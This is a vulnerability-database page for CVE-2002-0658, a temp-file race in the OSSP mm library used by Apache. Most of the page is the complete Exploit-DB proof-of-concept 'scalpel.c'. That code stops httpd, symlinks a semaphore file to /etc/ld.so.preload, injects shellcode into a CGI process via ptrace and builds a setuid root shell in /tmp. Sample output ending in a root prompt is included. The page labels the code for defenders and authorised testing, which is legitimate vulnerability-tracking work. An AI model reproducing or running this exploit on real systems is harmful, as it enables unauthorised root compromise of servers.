CVE-2002-0658

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

OSSP mm library (libmm) before 1.2.0 allows the local Apache user to gain privileges via temporary files, possibly via a symbolic link attack.

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-21667 local linux verified text · 8 KB
Sebastian Krahmer · 2002-07-29

MM 1.0.x/1.1.x - Shared Memory Library Temporary File Privilege Escalation

text exploit Source: Exploit-DB
// source: https://www.securityfocus.com/bid/5352/info

The MM Shared Memory library is reported to be prone to a race condition with regards to temporary files which may enable a local attacker to gain elevated privileges. This issue may reportedly be exploited by an attacker with shell access as the Apache webserver user to gain root privileges on a vulnerable host. 

/*** scalpel.c -- local apache/PHP root via libmm (apache-user -> root)
 ***
 *** (C) 2002 Sebastian Krahmer proof of concept exploit.
 ***
 *** Exploiting conditions:
 ***
 *** Apache is linked against libmm which has /tmp races.
 *** Upon Apache start or restart code is executed like
 *** unlink("/tmp/session_mm.sem"); open("/tmp/session_mm.sem", O_RDWR|O_CREAT).
 *** If attacker exploited any CGI or PHP script remotely he gained
 *** apache-user and can go one step further to get root by:
 ***
 *** 1) STOPing all httpd's and bring root to execute /etc/rc.d/apache restart
 ***    Its very likely root does so because webserver just doesnt work anymore
 ***    (all childs are STOPed). One can also send him fake-mail
 ***    from httpd-watchdog that he has to invoke the command.
 *** 2) Install signal-handler and using 2.4 directory notifying to see when
 ***    /tmp/session_mm.sem is unlinked. Create link to /etc/ld.so.preload
 ***    immediately which makes Apache creating that file.
 *** 3) Trigger execution of a CGI script where Apache leaks a descriptor
 ***    (r+w) to /etc/ld.so.preload to the child.
 *** 4) Ptrace that script, inject code which writes content to preload-file.
 *** 5) Execute suid-helper to execute code as root.
 ***
 *** Note in 4) that we cant ptrace httpd alone because it setuid'ed from root
 *** to apache-user thus setting id-changed flag. By triggering execve() of
 *** a CGI script this flag is cleared and we can hijack process.
 ***
 *** assert(must-be-apache-user && must-have-a-cgi-script-installed &&
 ***        must-bring-root-to-restart-apache);
 ***
 ***
 *** wwwrun@liane:~> cc scalpel.c -Wall
 *** wwwrun@liane:~> ./a.out /cgi-bin/genindex.pl
 *** httpd(2368): Operation not permitted
 *** Creating /tmp/boomsh
 *** Creating /tmp/boomso
 *** Installed signal-handler. Waiting for apache restart.
 *** ++++++Forking off proc-scan to attach to CGI-script.
 *** Triggering CGI: /cgi-bin/genindex.pl
 *** Got cgi-bin PID 2460
 *** Injecting of write-code finished.
 *** blub
 *** +sh-2.05# id
 *** uid=0(root) gid=65534(nogroup) groups=65534(nogroup)
 *** sh-2.05#
 ***/

#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <sys/stat.h>
#include <dirent.h>
#include <sys/types.h>
#include <string.h>
#include <errno.h>
#include <sys/ptrace.h>
#include <asm/ptrace.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h>
#include <sys/wait.h>

/* Please do not complain about ugly code; its a 1h exploit.
 * For good code see crypto-pty for example ;-)
 */
int create_link()
{
	symlink("/etc/ld.so.preload", "/tmp/session_mm.sem");
	return 0;
}


void die(char *s)
{
	perror(s);
	exit(errno);
}

void sig_x(int x)
{
	create_link();
	printf("+");
}


void usage()
{
	printf("Usage: scalpel <cgi-script>\n\n"
	       "i.e. ./scalpel /cgi-bin/moo.cgi\n");
	exit(1);
}

int scan_proc()
{
	int lastpid, fd, i, pid, done = 0;
	unsigned int eip;
	char fname[1024];
	char code[] = 
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\xe8\x10\x00\x00\x00\x2f\x74\x6d\x70\x2f\x62\x6f"
		"\x6f\x6d\x73\x68\x2e\x73\x6f\x0a\x00\xb8\x04\x00"
		"\x00\x00\xbb\x05\x00\x00\x00\x59\xba\x0f\x00\x00"
		"\x00\xcd\x80\xb8\x01\x00\x00\x00\x31\xdb\xcd\x80";
	unsigned long *p;

	printf("Forking off proc-scan to attach to CGI-script.\n");

	if (fork() > 0)
		return 0;

	lastpid = getpid();

	while (!done) {
		for (i = 0; i < 100; ++i) {
			snprintf(fname, sizeof(fname), "/proc/%d/cmdline", lastpid+i);
			if ((fd = open(fname, O_RDONLY)) < 0)
				continue;
			read(fd, fname, sizeof(fname));
			close(fd);
			if (strcmp(fname, "/usr/bin/perl") == 0) {
				if (ptrace(PTRACE_ATTACH, lastpid+i,0,0) < 0) {
					pid = lastpid+i;
					done = 1;
					break;
				}
			}
		}
	}
			
	printf("Got cgi-bin PID %d\n", pid);

	waitpid(pid, NULL, 0);

	eip = ptrace(PTRACE_PEEKUSER, pid, 4*EIP, 0);
	if (errno)
		die("ptrace");
	for (p = (unsigned long*)code; i < sizeof(code); i+= 4, ++p) {
		if (ptrace(PTRACE_POKETEXT, pid, eip + i, *p) < 0)
			die("ptrace");
	}

	if (ptrace(PTRACE_POKEUSER, pid, 4*EIP, eip+4) < 0)
		die("ptrace");

	if (ptrace(PTRACE_DETACH, pid, 0, 0) < 0)
		die("ptrace");
	printf("Injecting of write-code finished.\n");
	exit(0);
}


int tcp_connect(const char *host, u_short port)
{
	int sock;
	struct hostent *he;
	struct sockaddr_in sin;

	if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0)
		die("sock");

	if ((he = gethostbyname(host)) == NULL) {
		herror("gethostbyname");
		exit(EXIT_FAILURE);
	}

	memset(&sin, 0, sizeof(sin));
	memcpy(&sin.sin_addr, he->h_addr, he->h_length);
	sin.sin_family = AF_INET;
	sin.sin_port = port == 0 ? htons(80):htons(port);

	if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) < 0) {
		close(sock);
		return -1;
	}
	return sock;
}


int trigger_cgi(const char *cgi)
{
	char cmd[1024];
	int sock = tcp_connect("127.0.0.1", 80);

	printf("Triggering CGI: %s\n", cgi);

	snprintf(cmd, sizeof(cmd), "GET %s HTTP/1.0\r\n\r\n", cgi);
	if (write(sock, cmd, strlen(cmd)) < 0)
		die("write");
	sleep(1);
	close(sock);
	return 0;
}

int create_boomsh()
{
	FILE *f = fopen("/tmp/boomsh.c", "w+");

	printf("Creating /tmp/boomsh\n");
	if (!f)
		die("fopen");
	fprintf(f, "#include <stdio.h>\nint main()\n{\nchar *a[]={\"/bin/sh\",0};"
		   "setuid(0); execve(*a, a, NULL);return 1;}\n");
	fclose(f);
	system("gcc /tmp/boomsh.c -o /tmp/boomsh");
	return 0;
}


int create_boomso()
{
	FILE *f = fopen("/tmp/boomso.c", "w+");

	printf("Creating /tmp/boomso\n");
	if (!f)
		die("fopen");
	fprintf(f, "#include <stdio.h>\nvoid _init(){if (geteuid()) return;printf(\"blub\n\");"
		   "chown(\"/tmp/boomsh\",0, 0); chmod(\"/tmp/boomsh\", 04755);"
	           "unlink(\"/etc/ld.so.preload\");exit(0);}");
	fclose(f);
	system("gcc -c -fPIC /tmp/boomso.c -o /tmp/boomso.o;"
	       "ld -Bshareable /tmp/boomso.o -o /tmp/boomsh.so");
	return 0;
}


int main(int argc, char **argv)
{
	int fd;
	struct stat st;
	char *cgi = NULL;
	extern char **environ;
	char *boomsh[] = {"/tmp/boomsh", NULL};
	char *suid[] = {"/bin/su", NULL};

	if (argc < 2)
		usage();

	cgi = strdup(argv[1]);

	setbuffer(stdout, NULL, 0);

	system("killall -STOP httpd");

	create_boomsh();
	create_boomso();

	if ((fd = open("/tmp", O_RDONLY|O_DIRECTORY)) < 0) {
		return -1;
	}

	if (fcntl(fd, F_SETSIG, SIGUSR1) < 0) {
		return -1;
	}

	if (fcntl(fd, F_NOTIFY, DN_MODIFY|DN_DELETE|DN_RENAME|DN_ATTRIB
			       |DN_CREATE|DN_MULTISHOT|DN_ACCESS) < 0) {
		return -1;
	}
	
	signal(SIGUSR1, sig_x);

	printf("Installed signal-handler. Waiting for apache restart.\n");

	/* wait for /etc/ld.so.preload to apear */
	while (stat("/etc/ld.so.preload", &st) < 0)
		sleep(1);


	/* forks off daemon */
	scan_proc();

	/* Trigger execution of a CGI-script */
	trigger_cgi(cgi);

	for(;;) {
		sleep(1);
		memset(&st, 0,sizeof(st));
		stat("/etc/ld.so.preload", &st);
		if (st.st_size > 0)
			break;
		if (stat("/tmp/boomsh", &st) == 0 && st.st_uid == 0)
			break;
	}

	/* Apropriate content is in /etc/ld.so.preload now */
	if (fork() == 0) {
		execve(*suid, suid, NULL);
		exit(1);
	}
	sleep(3);
	execve(*boomsh, boomsh, environ);

	return 0;
}

OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 1.1.3-7
sid Fixed 1.1.3-7
forky Fixed 1.1.3-7
bullseye Fixed 1.1.3-7
bookworm Fixed 1.1.3-7

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.